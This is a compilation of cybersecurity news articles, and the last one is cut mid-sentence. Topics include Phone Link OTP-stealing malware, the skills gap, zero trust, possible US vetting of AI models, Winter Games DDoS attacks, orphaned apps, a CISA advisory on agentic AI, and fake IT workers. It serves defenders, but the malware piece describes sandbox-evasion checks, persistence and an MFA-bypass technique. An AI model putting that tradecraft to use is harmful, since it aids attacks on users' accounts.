CSOonline

A newly identified malware campaign is abusing Microsoft’s Phone Link feature to intercept SMS-based one-time passwords and other sensitive mobile data directly from Windows systems. The activity, first observed by Cisco Talos in January 2026, involves a remote access trojan dubbed CloudZ and a custom plugin named Pheno that together allow attackers to harvest credentials and potentially capture authentication codes synced from a user’s smartphone, Talos researchers Alex Karkins and Chetan Raghuprasad wrote in a blog post. “According to the functionalities of the CloudZ RAT and Pheno plugin, this was with the intention of stealing victims’ credentials and potentially one-time passwords (OTPs),” the researchers wrote. The attack does not target the mobile device itself. Instead, it exploits the trust relationship between phones and Windows PCs by monitoring data mirrored through the Phone Link application, the blog post said. CloudZ “utilizes the custom Pheno plugin to hijack the established PC-to-phone bridge by abusing the Microsoft Phone Link application, allowing the plugin to continuously scan for active Phone Link processes and potentially intercept sensitive mobile data like SMS and OTPs without deploying malware on the phone,” the Talos report said. The technique sidesteps the need to compromise the mobile device itself, which the researchers said makes the intrusion notable to enterprise defenders. It adds to a growing body of attacker tradecraft aimed at bypassing SMS- and app-based MFA by extracting authentication codes from compromised Windows systems where mobile data is synced. Microsoft did not immediately respond to a request for comment. Phone Link data becomes an attack surface Microsoft Phone Link, previously known as Your Phone, is a built-in Windows feature that connects a PC to a smartphone and mirrors messages, notifications, and calls on the desktop. Pheno is designed to locate the Phone Link data stored locally on the Windows system. According to the advisory, the attacker using CloudZ “can potentially intercept the Phone Link application’s SQLite database file on the victim machine, potentially compromising SMS-based OTP messages and other authenticator application notification messages.” Because this data resides on the endpoint, the technique shifts risk from mobile devices to enterprise-managed Windows systems, potentially bypassing controls focused on securing smartphones. Multi-stage infection chain The intrusion begins with an unknown initial access vector, followed by the execution of a malicious file disguised as a ScreenConnect update, Talos said. The initial payload is a Rust-compiled loader using filenames such as “systemupdates.exe,” which drops a .NET loader disguised as a text file in a system directory, the post said. Persistence is established through a scheduled task named “SystemWindowsApis” that runs at startup with elevated privileges using the legitimate regasm.exe utility, the researchers wrote in the blog. The .NET loader runs anti-analysis checks before unpacking CloudZ. It performs multiple checks to detect security tools and sandbox environments before executing the payload in memory, the report said. It “calculates the actual elapsed time of a sleep command to detect if it is executed in the analysis environment,” and scans for tools such as Wireshark, Fiddler, Procmon, and Sysmon. “The .NET loader exits the execution if these are detected in the victim environment,” the blog post added. The CloudZ payload is then decrypted in memory and executed, it said. RAT enables credential theft and plugin delivery CloudZ establishes an encrypted connection to a command-and-control server and supports a range of functions, including credential harvesting, file operations, and remote command execution, Talos said. The malware also retrieves secondary configuration data from attacker-controlled infrastructure. The Talos researchers wrote that the RAT downloads configuration data from remote servers and “extracts the C2 server IP address … and port number … establishing connections through TCP sockets.” It also rotates user-agent strings to blend its traffic with legitimate browser activity, the researchers noted. Pheno plugin monitors active device sync The Pheno plugin is responsible for identifying active Phone Link sessions and enabling data interception. It “scans all running processes for specific keywords such as ‘YourPhone,’ ‘PhoneExperienceHost,’ or ‘Link to Windows,’” and logs results locally, the report said. The plugin then checks for evidence of a proxy connection used by Phone Link to relay data between devices. “The presence of ‘proxy’ … indicates that the Phone Link session is actively routing traffic through its relay channel,” the researchers wrote. When such activity is detected, the plugin flags the system as connected, which “eventually allows the attacker … to potentially monitor SMS or OTP requests that appear on the Phone Link application,” according to the report. Talos has released detection signatures and indicators of compromise, including malware hashes, command-and-control infrastructure, and Snort rules associated with the activity. Cisco Talos did not attribute the activity to a known threat actor. View the full article

A robust cybersecurity program needs a range of skilled people, yet many CISOs continue to face an ongoing skills shortage — and the squeeze may only get worse as AI gains traction. Some 95% of cybersecurity practitioners and decision-makers noted at least one security skills gap at their organization, with almost 60% citing critical or significant skills gaps, according to ISC2’s 2025 Cybersecurity Workforce Study. AI is the most pressing skill need, followed by cloud security, risk assessment, application security, security engineering, and governance, risk, and compliance (GRC), the survey found. There are no simple solutions for a profession that requires passion, curiosity, and a thirst for defending systems. Such professionals are a rare breed. “You need to have a special mindset,” says Juan Gomez-Sanchez, VP of cyber resilience at McLane Company. “While IT people are obsessed with how things work, security people are obsessed with how things break, and people who are truly effective and passionate about that can be difficult to find,” says Gomez-Sanchez. Add to that the fact that the cyber degree studies are challenging, technology is changing rapidly, and the profession is still comparatively young, and the true extent of the problem becomes clear. If CISOs can’t hire the skills they need, some will look toward in-house training and development to foster the expertise they need. “Hiring certain types of security professionals can be very difficult because the skills are not held by a lot of people, so I look for someone who’s got a solid security foundation in one or more other areas and transition them,” says Keith Turpin, CISO of The Friedkin Group. This is its own challenge, requiring time and a good deal of unlearning certain things and honing that ‘how to break’ security mindset. For example, Turpin says, upskilling “someone who’s competent in networking, server administration, or software development to the equivalent security role takes an additional two years.” Turpin has found that just establishing the security mindset can take up to a year within that timeframe. “Instead of thinking, ‘How do I keep it going,’ as the security person it’s thinking, ‘How can it go wrong.’ It’s a different approach,” he says. “If I can find someone who’s got the right drive, the right people skills, they’re a good cultural fit, and they have the potential, I can turn them into a good technologist,” adds Turpin, who like Gomez-Sanchez will be inducted into the CSO Hall of Fame this year. Gomez-Sanchez and Turpin are speaking at the CSO Cybersecurity Awards & Conference, May 11-13. Reserve your place. AI changes the equation And then there’s AI. When it comes to security, AI may help partially offset cyber skills shortages by automating certain tasks, but it also ramps up cyberattack volumes and expands the organizational attack surface, without fixing CISOs’ ongoing talent pipeline problems. In fact, AI may end up worsening the structural skills shortage. “You can have 100, 1,000, 10,000 instances of AI doing the work of enabling attacks at much greater scale, including against smaller, less protected targets because they’re now within reach because the barrier is lower,” says Turpin. This increases the pressure on defenders, putting more pressure on the workforce challenge, even as AI helps automate some tasks. But it’s not going away and will only increase in importance for both attackers and defenders. “I’m encouraging my teams to look for opportunities to leverage AI and look at how our vendors are leveraging AI,” he says. “This is what we’re going to be dealing with five years down the road. It’s going to be the center of technology so we can’t afford not to learn this,” he adds. Reducing the organizational risk of skills shortages Skills shortages are more than just an inconvenience; they pose organizational risks on par with threats and malicious attacks, says Gomez-Sanchez, who views them “much the way that you think about threat actors and vulnerabilities.” “Your ability to execute is limited by the amount of people you have to actually do the work,” he explains. As a result, Gomez-Sanchez encourages CISOs to view the skills gaps and talent shortages as a first-class security risk that needs to be managed as a KPI for the security function. “Our ability to attract and retain good talent is a major measure of capability,” he says. Being structural rather than temporary, skills gaps place significant pressure on CISOs’ sourcing decisions. “Security people may choose to do things differently, especially as it relates to insourcing or outsourcing because of the talent shortage,” Gomez-Sanchez notes. By the same token, staffing constraints can shape architecture and tooling choices. For example, Gomez-Sanchez adds, a host of best-of-breed point tools instead of a more integrated platform usually requires more headcount and expertise to stitch together. Gomez-Sanchez also gives the example of adopting a single hyperscaler versus a multicloud strategy and the increase in human workload and skills required to secure it. “Ultimately, you want to leverage native controls within the hyperscaler, and that requires you to have specialized skills in each one of those,” he says. CISO have also looked to automation to absorb some headcount pressure, but doing so isn’t always a simple fix. Gomez-Sanchez sees agent-enabled automation as a means for providing more firepower for developers and analysts, among other roles. But the reality of agentic AI capabilities for cybersecurity remains a work in progress. What’s clear is that persistent talent shortages are forcing CISOs to rethink hiring and training as one of numerous ways to reduce the risk that comes with the skills gap. This entrenched problem — and CISOs’ attempts to address it — will also have a significant impact on the decisions security leaders will make regarding cyber architecture, platforms, processes, and AI use ahead. The cyber talent gap is putting increasing pressure on the cyber agenda, and your peers are already adapting. Hear Juan Gomez-Sanchez, Keith Turpin, Jen Spencer, and other leading CISOs share what’s working at the CSO Cybersecurity Awards & Conference, May 11-13. Secure your seat before it fills up. View the full article

Zero trust has become one of the most widely adopted security models in enterprise environments. Organizations invest heavily in identity systems, access policies and modern security tooling. On paper, these environments look well-protected. Yet during incidents, a different reality often emerges. I have worked with organizations where zero-trust initiatives were fully implemented from an identity and policy standpoint. Access controls were defined. Authentication flows were strong. Compliance requirements were met. But when something went wrong, the same question kept coming up. How did the traffic get through in the first place? The answer is often uncomfortable. The strategy was sound, but enforcement at the traffic layer was inconsistent. That is where most zero-trust architectures fail. Where zero trust breaks down in practice Zero trust is built on a simple idea: never trust, always verify. In practice, most implementations focus heavily on identity. Users authenticate. Devices are validated. Policies determine access. What is often overlooked is how traffic enters and moves through the environment before those controls are applied. The traffic layer includes ingress paths, load balancers, API gateways, TLS enforcement, request validation and service-to-service communication. This is where trust is either established or assumed. In several environments I have worked in, these gaps were not due to a lack of tools. They came from inconsistent ownership between networking, security and application teams. One of the most common patterns is strong identity enforcement combined with permissive entry points. Organizations deploy modern identity providers and multi-factor authentication, yet still allow outdated TLS versions or weak cipher configurations at the edge. Guidance from the National Institute of Standards and Technology recommends secure protocol baselines. Another recurring issue is fragmented ingress. Applications are exposed through different paths such as CDNs, direct load balancers, legacy endpoints or newly deployed APIs. Each path behaves slightly differently. Mutual TLS is also frequently implemented only partially. Connections are terminated and re-established internally with weaker assumptions. East-west traffic introduces another gap. Once inside, traffic is often treated as safe. Finally, there is the issue of visibility. During incident response, teams often cannot answer which path a request took. Many of these issues align with patterns described by OWASP. Why the traffic layer is the real enforcement point Security programs often succeed at defining policies. They struggle with enforcing them consistently. The traffic layer is where enforcement becomes real. From a leadership perspective, this is not a tooling problem. It is an architectural one. Principles from the Cloud Security Alliance emphasize placing controls at ingress. What works in real environments Organizations that succeed treat the traffic layer as a primary enforcement point. They standardize ingress paths, enforce strict TLS baselines, and eliminate legacy exceptions. They define clear rules for mutual TLS and ensure trust is continuously validated. They normalize and validate requests before application logic. They implement consistent telemetry so security teams can trace requests end-to-end. Final thought Zero trust is often described as a shift in mindset. That is true, but mindset alone does not secure systems. Security is about enforcement. And enforcement begins with how traffic is handled. That is why most zero-trust architectures fail at the traffic layer. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

The Trump administration is in early discussions about whether advanced AI models should be vetted before public release, according to reporting from the New York Times, the Wall Street Journal, and Axios. The conversations center on systems capable of facilitating cyberattacks, particularly models that could help users identify and exploit software vulnerabilities. Officials are considering several options, including formal pre-release review processes and government-led testing for higher-risk systems. No proposal has been finalized, and no timeline has been set. What has changed The discussions mark a shift in tone, if not yet in policy. On Jan. 20, 2025, Donald Trump’s first day back in office during his second term, he revoked Biden’s Executive Order 14110 on Safe, Secure, and Trustworthy Development and Use of Artificial Intelligence. Three days later, he issued his own order, “Removing Barriers to American Leadership in Artificial Intelligence,” signaling a significant shift away from the Biden administration’s emphasis on oversight and risk mitigation toward a framework centered on deregulation and the promotion of AI innovation. Among the things that order effectively ended: The Biden framework had introduced mandatory red-teaming for high-risk AI models, enhanced cybersecurity protocols, and monitoring requirements for AI used in critical infrastructure. The new discussions suggest certain security risks — particularly those tied to offensive cyber capabilities — warrant a more interventionist posture, even as the administration remains broadly opposed to sweeping AI regulation. The Mythos factor The discussion follows Anthropic’s recent introduction of Mythos, a model the company has described as representing a watershed moment for cybersecurity. Anthropic has said Mythos Preview has found thousands of high-severity vulnerabilities, including some in every major operating system and web browser, and that AI models have reached a level of coding capability where they can surpass all but the most skilled humans at finding and exploiting software vulnerabilities. In one benchmark, the company reported significantly higher success rates compared to earlier models. Anthropic has not released the model publicly. Instead, it launched Project Glasswing, committing up to $100 million in usage credits to a select group of technology and cybersecurity companies to use Mythos for defensive purposes — finding and patching vulnerabilities before malicious actors can exploit them. Anthropic has also been briefing the Cybersecurity and Infrastructure Security Agency, the Commerce Department, and other stakeholders on the potential risks and benefits of Mythos Preview. OpenAI has developed a comparable model and has released it to a small set of companies through an existing trusted-access program. What a review might mean Pre-release evaluation of AI models is not a new idea, but it remains poorly defined in the US policy context. The Biden executive order Trump revoked had required developers of the largest AI systems to notify the government and share safety test results before deployment — one of several provisions the Trump administration characterized as burdensome obstacles to innovation. The institutional picture has also shifted. The US AI Safety Institute, created under the Biden order to conduct pre-deployment evaluation and housed within the National Institute of Standards and Technology, was substantially reorganized after Trump took office. In June 2025, the agency was renamed the Center for AI Standards and Innovation, and its mission was revised. Commerce Secretary Howard Lutnick framed the change as a repudiation of what he called the use of safety as a pretext for censorship and regulation. The renamed center’s mandate now includes leading unclassified evaluations of AI capabilities that may pose risks to national security, with a stated focus on demonstrable risks such as cybersecurity, biosecurity, and chemical weapons, potentially positioning it to play a role in any future review process. Other governments have moved further and faster. The UK’s AI Security Institute has conducted pre-deployment evaluations of several frontier models, working directly with labs, including Anthropic and OpenAI, to assess risk thresholds before release. The EU AI Act, which began phasing in last year, establishes mandatory conformity assessments for high-risk AI applications. The US has not established a comparable framework or legal authority to require such reviews. View the full article

Major international events attract not just global audiences but also distributed denial-of-service (DDoS) attacks. The Milano Cortina 2026 Winter Games proved no exception: DDoS attack volume against Italian infrastructure in the country surged 181 percent over 2025 levels, which were themselves elevated by sustained NoName057(16) campaigns. Attackers treated the Winter Games calendar as an operational playbook, escalating two weeks before opening ceremonies and terminating abruptly after the event’s closing. Key Findings Attack volumes 6–10x historical levels during the Winter Games period (February 6–23, 2026) Peak attack count reached more than 2,200 attacks on February 23 NoName057(16) dominated public DDoS hacktivist claims with 47, although ransomware groups (Qilin, LockBit 5.0) also claimed success in various attacks Tactical shift from pre-Winter Games high-bandwidth attacks (412.89Gbps peak) to Winter Games-period high-throughput attacks Geographic concentration on Milan (Winter Games cohost), Cortina infrastructure (hotels, ski sites), and symbolic targets (consulates, defense) Temporal Analysis Attack activity in Italy can be divided into three distinct periods: Pre-Winter Games (January 20–February 5): 4,963 attacks, averaging 300 daily. The first escalation occurred January 22, with triple the 2024 and 2025 levels for comparable dates. January 25 recorded maximum traffic intensity of 412.89Gbps, with average bandwidth per attack ranging from 0.74 to 5.45Gbps. These high-magnitude attacks suggest testing network capacity limits and defensive responses. Winter Games period (February 6–23): 12,963 attacks, averaging 720 daily. This period accounted for 56 percent of total attack volume and 6x times higher attack activity compared with 2024 and 2025. Activity escalated from 191 attacks on February 16 to 1,890 on February 23. During the Winter Games, we can see tactical shifts in attack types to packet rate­–intensive patterns to sustain pressure via quantity over bandwidth knockouts. Post-Winter Games (February 24–March 3): 5,315 attacks, peaking at 2,281 on February 24—a record-breaking single-day count representing the highest attack volume observed against Italy in the past three years. Activity declined 88 percent to 272 attacks by February 26. NETSCOUT Figure 1: Year-over-year DDoS attack comparison during Milano Cortina 2026 The temporal pattern with the Winter Games calendar shown in Figure 1 illustrates the dramatic escalation in attack frequency during 2026 compared with prior years. Notably, the five highest single-day attack counts recorded against Italy in the past three years all occurred during the February 17–25 period: February 24 (2,281 attacks), February 23 (1,890 attacks), February 21 (1,865 attacks), February 22 (1,828 attacks), and February 20 (1,684 attacks). Beyond attack volume, the intensity of individual attacks also showed significant variation throughout the observation period. Attack Vector Analysis Attackers combined multiple techniques simultaneously, averaging more than two vectors per attack; UDP flooding was dominant, showing up in 85 percent of attacks, while additional DDoS attack vectors showed up in 87 percent, meaning most attacks mixed direct UDP flooding with amplified traffic from devices susceptible to reflection/amplification. NETSCOUT Figure 2: Attack vector distribution during Milano Cortina 2026 UDP flooding led attacks at 85 percent, followed by DNS amplification (19 percent), and memcached amplification (11.8 percent). The amplification toolkit extended to NTP (7.5 percent), STUN (6.6 percent), SSDP (5.9 percent), and SNMP (5 percent). Threat Actor Claim Analysis Between February 4 and February 24, 2026, threat actors publicly claimed responsibility for attacks targeting Italian infrastructure via social media and Telegram channels. These claims represent self-reported attribution and have not been independently validated against observed DDoS telemetry. NoName057(16) dominated claims activity with 47 attacks claimed against Italy during this period, representing 40 percent of all the attribution. This represents notable concentration of NoName activity: The group claimed a total of 488 attacks globally during same time frame, meaning Italy accounted for 10 percent of NoName’s global targeting. Historical analysis shows that between December 1 and February 3, NoName057(16) claimed only one attack against Italy and made no claims toward Italy after February 28, 2026, indicating the Winter Games period attracting the threat actor. Secondary actors generated 60 percent of the remaining claims, but in substantially lower claim volumes during the Winter Games period: Server Killers (8 claims), Z-Pentest Alliance (4 claims), Dark Storm Team (3 claims). The remaining 47 attacker claims were distributed among ransomware groups, individual actors, and various entities. DDoSia Analysis DDoSia is a homegrown DDoS platform developed by NoName057(16) operating since early 2022. DDoSia detection events by the NETSCOUT ASERT team recorded 3,491 attacks against 74 unique Italian domains during pre-Winter Games and Winter Games periods, aimed at disrupting the Winter Games infrastructure, government operations, and critical services. The primary vectors include HTTP/HTTPS/HTTP2 floods; TCP floods on port 80, 443, 2222, 8080; and slowloris-style resource exhaustion attacks. NETSCOUT Table 1: DDoSia target categories and observations count during Milano Cortina Winter Games 2026 Aisuru IoT Botnet Analysis Aisuru operates as a Mirai-derivative Internet of Things (IoT) botnet first disclosed in August 2024, comprising of more than 1 million compromised consumer routers, cameras, and IoT systems. (Note: This analysis period is prior to the recent law-enforcement takedown action impacting the Aisuru botnet.) The botnet functions as DDoS-for-hire services, with attacks of up to 31Tbps purported. After observing dominance of direct-path UDP flooding—the most common Aisuru attack type—NETSCOUT’s ASERT team tracked more than 683 Aisuru-tagged instances against Italian cities, with Milan absorbing 94 percent of activity (642 instances). NETSCOUT Table 2: Aisuru geographic distribution during Milano Cortina Winter Games 2026 Conclusion The DDoS campaign targeting Italy during the Milano Cortina 2026 Winter Games demonstrated how major international events create predictable windows for coordinated cyberthreat activity. The attack activity observed against Italy between January and March 2026 demonstrates an elevated DDoS threat landscape as compared with global DDoS trends during the same periods in prior years. The attacks represented a 181 percent frequency increase compared with 2025, when Italy was the target of NoName057 due to global geopolitical tensions reported by the ASERT team in the “Italy in the Crosshairs” campaign. Global visibility via NETSCOUT ATLAS threat intelligence and adaptive DDoS protection via NETSCOUT Arbor products equip organizations with robust and proactive defense strategies, ensuring the supporting infrastructure of major international events remains undisrupted. To learn more, visit us here. View the full article

Orphaned applications are a significant driver of shadow IT and a major headache for asset and identity management. We all know the drill: an account should have been deprovisioned years ago, but somehow fell through the cracks. Now, the application is just… sitting there, still running, still exchanging data. It’s hard to even know what exists, let alone how it’s affecting network performance or expanding the attack surface. The irony of shadow IT isn’t how an app, a browser extension, or a cloud service entered the environment. It’s whether IT still has visibility into it and any ability to control what it’s doing. Orphaned applications are often adopted as part of legitimate business workflows, introduced by individual teams to support revenue, respond to customer needs, or meet time-sensitive departmental goals when centralized IT processes cannot move fast enough. Over time, workforce transitions or shifting business priorities leave behind not just the applications, but the workflows built around them, along with accounts, credentials, service identities, and access permissions that remain active without clear operational intent. Digital transformation, software-as-a-service (SaaS) growth, the rise of artificial intelligence (AI) agents, connected devices, including Internet of Things (IoT) systems, and generative AI (GenAI) have made orphaned workflows much easier to overlook. Cloud-based tools, browser plugins, and desktop software often remain connected to IT infrastructure long after the original project is forgotten. When no one knows who owns the credentials, these tools often stop being updated and operate outside normal monitoring and maintenance cycles, creating several critical issues: Operational and financial overhead: Orphaned applications continue consuming licenses and infrastructure while cluttering configuration management databases (CMDBs). They introduce undocumented dependencies that skew asset management and complicate troubleshooting. Security exposure: Applications without active ownership are rarely reviewed. This means updates are missed, underlying components are no longer maintained, and access paths remain open far longer than intended. Hidden data movement: Applications may not stop exchanging data just because teams stop using them. Orphaned services may continue storing or transmitting sensitive data entirely outside security controls. Compliance and governance gaps: When IT loses awareness of an application, it also loses the ability to enforce retention policies, access controls, and audit requirements. This creates a significant paper trail risk during a formal audit. Observability that reveals hidden systems operating on the network Most organizations rely on inventories, configuration records, and ownership data maintained in IT asset inventories, CMDBs, and application mapping tools to understand their environments. The problem is that these sources reflect planning decisions and historical states, not what’s actually happening right now. Orphaned applications persist because they may continue functioning without obvious signals or active users. Because they often rely on service identities or automated API keys, they may authenticate normally, respond as expected, and continue moving data in ways that don’t raise alarms. To IT teams, nothing appears broken. Network data reflects the current state of how applications and services interact. Packet-derived insight captures real-time behavior, making it possible to see what is actually communicating rather than what inventories or records suggest should exist. Hidden systems aren’t passive; they continue polling databases and holding open connections, quietly consuming bandwidth and processing capacity needed by active, revenue-generating services. As organizations introduce more cloud services and AI-driven tools, new communication paths can appear faster than CMDB records, and ownership data can be updated, creating observability gaps that affect how systems and services perform and interact. How blind spots lead to security exposure Many security incidents don’t begin with sophisticated attacks. They begin with blind spots and gaps in understanding that attackers can exploit. Orphaned applications increase exposure because they lack active ownership and routine security review. For example, a forgotten project management app might still be connected to production systems, but because it’s faded from memory, it falls out of routine security checks. If IT is unaware it’s there, it cannot patch it, review permissions, or validate compliance. As apps lose owners, related service accounts and API tokens often become orphaned as well. These credentials continue to authorize activity, creating unmonitored access paths that attackers can exploit. As a result, they become ideal entry points for credential stuffing and lateral movement, allowing attackers to pivot into the core network. Common risk patterns include: Dormant accounts and credentials that remain valid: User accounts, service identities, and tokens tied to abandoned applications may not be reviewed or revoked, creating authorization paths that no one is actively tracking. Outdated configurations and dependencies: Orphaned applications may continue running older libraries, frameworks, or integrations that no longer meet current security or compliance standards. Extended attacker dwell time: Systems without active monitoring may not trigger alerts, allowing threat actors to maintain ongoing access without being detected. From blind spots to insight Addressing orphaned applications starts with finding them. The Omnis AI Insights solution organizes NETSCOUT’s packet-derived Smart Data into curated and customizable datasets that integrate with platforms such as Splunk and ServiceNow to reduce shadow IT–related blind spots. This insight exposes hidden dependencies and identifies operational and security risks, while giving IT and business teams a shared view of what is active in the environment today to support better planning and more informed decisions. Download this fact sheet to see how NETSCOUT Smart Data enriches the ServiceNow CMDB and exposes shadow IT. View the full article

With prompt injection and other attack pathways consistently surfacing across agentic AI deployments, security watchdogs have stepped in, collectively, to draw some hard boundaries. A joint advisory from the US Cybersecurity and Infrastructure Security Agency (CISA) and international partners has called for tighter control over permissions, stronger monitoring, and a more deliberate rollout strategy, urging organizations to treat agentic AI with caution. “Organizations cannot just drop agents into production and hope the guardrails hold,” said Piyush Sharma, CEO and co-founder of Tuskira, agreeing with CISA’s instructions. “They need to understand what each agent can access, how it behaves, what systems trust its outputs, and which attack paths become reachable if it is manipulated.” The advisory outlined design and development guidelines for organizations to follow before the implementation of AI agents. A few of these included strong authentication using Secure by Design principles, system transparency to flag deceptive indicators, least privilege across workflows, secure development principles as per DevSecOps fundamentals, and regular testing of incident response plans, among a host of others. The advisory was co-authored by the Australian Signals Directorate’s Australian Cyber Security Centre, Canadian Centre for Cyber Security, New Zealand’s National Cyber Security Centre, and the UK’s National Cyber Security Centre. Least privilege and tight boundaries One of the clearest through-lines in the advisory was the need to constrain what agentic AI can access. “Privilege risks are a key concern for agentic AI, and strict adherence to the principle of least privilege is critical,” CISA said in the advisory. “Privileges assigned to agents directly determine the level of risk they can introduce. Poor management of privileges can expose organisations to privilege compromise, scope creep, identity spoofing, and agent impersonation.” The agencies emphasized enforcing least-privilege principles, isolating agent capabilities, and rigorously defining what data, tools, and systems each agent can interact with. This is easier said than done, especially as agents are increasingly wired into APIs, internal systems, and external services. “Every tool, data source, memory store, and permission an agent touches becomes another possible way in for attackers,” Sharma noted. To tackle this, the advisory recommends organizations maintain a clear inventory of agent capabilities and dependencies, while also validating how agents interpret and act on inputs. This includes guarding against prompt injection and ensuring that agents don’t blindly trust external content or instructions. Continuous monitoring with human-in-the-loop control While the first half of the advisory focused on limiting what agents can do, the second was about watching what they actually do, reacting quickly when things go sideways. “Operators should implement continuous monitoring and auditing to maintain awareness of AI agent operation and ensure traceability for decisions and actions,” CISA added. “Continuous auditing processes improve security measures and ensure alignment with governance standards (such as risk management, oversight, and usage restrictions).” CISA and its international partners also recommended integrating human control and oversight into agentic AI workflows to ensure they are approved for non-sensitive, low-risk tasks. For this, the agencies suggested live monitoring during task execution, human approval for decision-making steps, and auditing upon task execution. Experts agree that visibility is critical. “Security teams need continuous visibility into how agents behave, what systems they touch, and when their actions deviate from expected patterns,” said Nick Tausek, Lead Security Automation Architect at Swimlane. “Building human approval into high-risk workflows and automating containment is paramount for taking action when agent behavior crosses a line.” Putting it all together, the advisory detailed core risk areas, from prompt injection and data exposure to tool misuse and privilege creep, urging organizations to lock down privileged access, validate inputs and outputs, monitor agent behavior, and tightly control how these systems interact with data, tools, and other services. View the full article

Hiring fake IT workers has been a growing problem in recent years — but it’s often a problem very few want to admit to. From Fortune 500 companies down to smaller organizations, remote hiring practices have been exploited to grant trusted access to individuals who are not who they claim to be creating an insider threat risk. Estimates suggest there are thousands of fake IT workers operating across the US who are in a position to steal information, IP and data, outsource work offshore, carry out sabotage, or funnel money to foreign governments. Amazon has identified and blocked more than 1,800 attempts by North Korea to secure IT roles — and the numbers are rising, according to its chief security officer, Steve Schmidt. In some cases, individuals impersonate US employees for personal gain; in others, state-based operatives such as those from North Korean pose as IT workers for state financial gain and other nefarious purposes. AI is now enabling deepfakes, more convincing video interviews, and rapid identity cycling. Adversary tactics are also shifting, from fabricating profiles to purchasing legitimate American identities, Schmidt has warned. “This is not a ‘recruiting scam’ in the traditional sense. It’s an insider-risk problem, where the adversary’s first move is to get hired,” says Tom Hegel, distinguished threat researcher at SentinelOne. CIOs, CISOs, and other IT leaders need to be continually on guard against fake and fraudulent IT workers, but organizations can fall victim without realizing it. How fake hires get through There’s no single point of failure in the recruitment process. Fake and fraudulent IT workers conceal their identity, falsify their skills and experience, and move through interview and screening processes undetected. SentinelOne has tracked roughly 360 fake personas and more than 1,000 job applications linked to North Korean IT worker operations, including attempts to apply for roles within the company itself. According to Hegel, adversaries are increasingly deploying social engineering tactics and identity obfuscation at scale, and the hiring process is a prime entry point. Synthetic or stolen identities are used to create resumes and online profiles; interviews are passed with the help of scripts, stand-ins, or AI-assisted responses; and background checks confirm only what’s presented to them. “Fake job seekers now leverage AI tools to mimic legitimate candidates, creating synthetic identities that pass initial background checks, falsifying employment histories and even responding convincingly in interviews using real-time AI assistance,” Hegel says. Flashpoint investigations have found malware-infected hosts containing HR and job-board logins, browser histories showing Google-translated coaching notes, remote-access “laptop farms” used to control corporate devices from overseas, and shell companies to prove reference checks for fabricated resumes. Once they’re hired, credentials are issued, equipment is shipped, and access is granted — and they become a trusted insider. “The long-term risk isn’t just hiring a fake employee — it’s unknowingly opening your systems and sensitive data to malicious access,” he says. What to do if you suspect a fake IT worker When a CIO suspects a fake IT worker, next steps are important as the issue shifts from recruitment to insider risk management. During his time at MongoDB, George Gerchow, IANS faculty advisor and Bedrock Data CSO, oversaw the investigation after the company detected it had unknowingly hired a North Korean IT worker. It was first discovered after alerts that an individual was attempting to uninstall endpoint protections, including CrowdStrike Overwatch. “Overwatch then detected the laptop communicating with a North Korean IP address,” says Gerchow. “That combination of tool tampering plus DPRK-linked traffic immediately signaled that this was not a typical new hire,” he tells CIO. Mongo realized the fake worker used a stolen identity, paired with AI-generated resume content and scripted interview responses, to evade background checks that verify only the information provided and do not detect fraud. It highlights a gap in many background checks. “They don’t detect fabricated work histories, synthetic identities, or recycled developer profiles, which is how this individual passed screening and interviews without raising formal flags,” he says. The subsequent investigation found attempts to disable security tooling, establish persistence on the device, and probe for elevated access. “Had they remained undetected, their access would have eventually expanded into our FedRAMP environment, which makes these fraud techniques especially high-risk,” Gerchow adds. After the discovery, several yellow flags became obvious such as poor video quality and unclear visuals during interviews, a noticeably inconsistent accent between calls, and scattered interview feedback with no centralized review. Another tell was a last-minute change to the laptop shipping address. “That’s a common shadow-worker tactic,” notes Gerchow. With hindsight, Gerchow joined the dots and it became clear how the person had made it through to employment because any irregularities were treated in isolation. “None of these individually would prevent a hire. However, because no one was responsible for aggregating subtle anomalies, the pattern wasn’t recognized until the endpoint alert fired,” he says. When they were discovered, the team quickly isolated the device, revoked all credentials, conducted a full forensic investigation, and notified federal authorities. “We verified there was no data exfiltration or lateral movement,” he says. The mitigation steps introduced included strengthening identity fraud screening in the hiring process, assigning a Yellow Flag owner to connect early signals, and enforcing zero access until trust is earned for new hires, Gerchow also believes that behavioral telemetry post-hire is necessary, because behavior, not credentials, reveals impostors. Mongo recommends organizations designate a reviewer in Security or HR to identify inconsistencies in the hiring process, such as poor video quality. “Also watch for AI-generated LinkedIn profiles, mismatched resumes and questionable changes in laptop shipping addresses,” he says. “Use panel interviews and project-based evaluations to identify candidates who recycle stolen or fake developer identities, and start new hires without access to sensitive data or production environments,” he advises. Then employ alerts if security agents (such IAM, EDR, VPN) are disabled before a new hire logs in, and test detection, escalation, and device recovery by simulating the hiring of a fake developer. “And look for off-hours access, broad internal search activity and large-scale cloning of documents or code repositories,” he adds. What IT leaders see on the inside The problem of employment fraud is only expected to worsen, with Gartner predicting that one in four candidate profiles worldwide will be fake by 2028. “The rise of fake and fraudulent job applicants has become an epidemic across organizations,” says David Weisong, CIO of Energy Solutions. Weisong says attackers consistently target high-access technical roles such as DevOps, systems administrators, data engineers, and database administrators, where successful hires can gain deep visibility and control over core systems. “These are the roles with the keys to the castle,” Weisong says. “If you’re trying to gain access, they’re far more valuable than a standard developer position.” Operating in a regulated energy market, Energy Solutions is contractually required to employ a US-based workforce and keep data within US jurisdiction. Weisong has first-hand experience with detecting fake IT workers and wants to share his advice with other IT leaders. One of the earliest warning signs was a sudden, abnormal surge in applications — hundreds arriving within hours, far out of proportion to the company’s brand profile, pointing to automated or coordinated activity. During the interview stage, identity switching was observed. “We saw cases where one person passed the phone screen, a different person showed up on Zoom, and sometimes a third appeared later — all under the same name and resume,” Weisong says. Part of the problem is that standard hiring practices validate information and skills in isolation. “Traditional background checks only verify the information provided and do not detect fraud,” Weisong also notes. The uncomfortable reality for some CIOs is that the work may be completed to a high standard and detection comes from signals, not performance. However, fake IT workers create business and compliance risk as much as security risk, exposing organizations to contractual breaches, regulatory consequences, and loss of client trust — particularly in regulated industries. Weisong says fake IT workers create business and compliance risk as much as security risk, exposing organizations in regulated industries to contractual breaches, regulatory scrutiny, and loss of client trust. Combating the problem of fake IT workers Amazon is using AI-based tools with human oversight to identify unusual contact information, as well as fake academic institutions and companies in resumes, according to Schmidt. Security teams will flag LinkedIn profiles that look suspicious, require more in-person interviews and in-office attendance, monitor computer usage and quality of work, and authenticate with a physical token. He has also said that IT and HR need to collaborate on hiring to combat the problem. “It’s actually a lot cheaper for the HR organization if we discover the problem up front,” Amazon’s Schmidt told Fortune. The shift required, says SentinelOne’s Hegel, is treating hiring 